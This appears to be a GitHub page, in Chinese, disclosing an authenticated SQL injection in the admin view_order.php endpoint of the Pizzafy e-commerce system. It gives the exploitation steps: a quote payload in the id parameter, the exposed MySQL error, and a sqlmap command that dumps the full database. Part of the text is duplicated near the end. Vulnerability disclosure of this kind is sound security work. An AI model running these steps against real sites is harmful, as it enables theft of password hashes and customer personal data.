Xmyronn/CVE-2026-7394-SQLI
GitHub: Xmyronn/CVE-2026-7394-SQLI
针对 SourceCodester Pizzafy 电商系统管理后台 view_order.php 端点中 id 参数的已认证 SQL 注入漏洞的完整概念验证与利用文档。
Stars: 0 | Forks: 0
# Pizzafy 电商系统中的 SQL 注入 — `admin/view_order.php`
## 详情
| 字段 | 值 |
|---|---|
| **厂商** | SourceCodester |
| **产品** | 基于 PHP 和 MySQL 的 Pizzafy 电商系统 |
| **版本** | 1.0 |
| **漏洞** | SQL 注入 |
| **CWE** | CWE-89 |
| **CVSSv3 评分** | 7.2 (高危) |
| **攻击向量** | 网络 |
| **需要认证** | 是 (管理员) |
| **研究员** | Xmyronn |
| **日期** | 2026-04-11 |
https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html
## 受影响组件
**文件:** `Pizzafy/admin/view_order.php`
**参数:** `id` (GET)
## 描述
Pizzafy 电商系统 1.0 中的 `admin/view_order.php` 端点在将 `id` GET 参数传递给 MySQL 查询之前,未能对其进行妥善的清理。经过身份验证的管理员可以操纵此参数以注入任意 SQL,从而导致整个数据库被攻破。
## 概念验证
### 步骤 1 — 以管理员身份登录
导航至:
```
http://localhost/pizzafy/Pizzafy/admin/index.php
```
使用管理员凭据登录。
### 步骤 2 — 导航到订单
```
http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders
```
点击任何订单条目上的 **View Order**。
### 步骤 3 — 在 Burp Suite 中拦截请求
拦截到的 GET 请求如下:
### 步骤 4 — 触发 SQL 错误
将 `id=1` 修改为 `id='`:
```
GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1
```
**响应 — 暴露了 MySQL 错误:**
```
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15
```
### 步骤 5 — 使用 sqlmap 进行利用
将请求保存到 `view_order.txt` 并运行:
```
sqlmap -r view_order.txt --dump --batch
```
**sqlmap 确认的注入类型:**
| 类型 | 标题 |
|---|---|
| Boolean-based blind | AND boolean-based blind — WHERE 子句 |
| Error-based | MySQL >= 5.0 FLOOR error-based |
| Time-based blind | MySQL >= 5.0.12 SLEEP |
| UNION query | 通用 UNION query — 11 列 |
**完整数据库已导出:**
```
Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings
```
暴露的敏感数据包括 bcrypt 密码哈希、客户电子邮件、订单详情和系统配置。
## 影响
恶意的已认证管理员(或已获取管理员凭据的攻击者)可以:
- 导出包含密码哈希在内的整个数据库
- 读取敏感的客户个人身份信息 (PII)(姓名、电子邮件、地址、电话号码)
- 可能对数据库进行写入操作
## 参考
- [SourceCodester — Pizzafy 电商系统](https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html)
- CWE-89:SQL 命令中使用的特殊元素的不当中和。
点击任何订单条目上的 **View Order**。
### 步骤 3 — 在 Burp Suite 中拦截请求
拦截到的 GET 请求如下:
### 步骤 4 — 触发 SQL 错误
将 `id=1` 修改为 `id='`:
```
GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1
```
**响应 — 暴露了 MySQL 错误:**
```
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near ''' at line 1 in
C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15
```
### 步骤 5 — 使用 sqlmap 进行利用
将请求保存到 `view_order.txt` 并运行:
```
sqlmap -r view_order.txt --dump --batch
```
**sqlmap 确认的注入类型:**
| 类型 | 标题 |
|---|---|
| Boolean-based blind | AND boolean-based blind — WHERE 子句 |
| Error-based | MySQL >= 5.0 FLOOR error-based |
| Time-based blind | MySQL >= 5.0.12 SLEEP |
| UNION query | 通用 UNION query — 11 列 |
**完整数据库已导出:**
```
Database: pizzafy
Tables: users, user_info, orders, order_list, product_list, category_list, system_settings
```
暴露的敏感数据包括 bcrypt 密码哈希、客户电子邮件、订单详情和系统配置。
## 影响
恶意的已认证管理员(或已获取管理员凭据的攻击者)可以:
- 导出包含密码哈希在内的整个数据库
- 读取敏感的客户个人身份信息 (PII)(姓名、电子邮件、地址、电话号码)
- 可能对数据库进行写入操作
## 参考
- [SourceCodester — Pizzafy 电商系统](https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html)
- CWE-89:SQL 命令中使用的特殊元素的不当中和。标签:Burp Suite, CISA项目, CVSS 7.2, CWE-89, GET请求注入, OpenVAS, PHP, Pizzafy, PNNL实验室, SourceCodester, Web安全, Web渗透测试, 后台漏洞, 注入漏洞, 漏洞分析, 电商系统, 网络安全, 蓝队分析, 越权漏洞, 路径探测, 隐私保护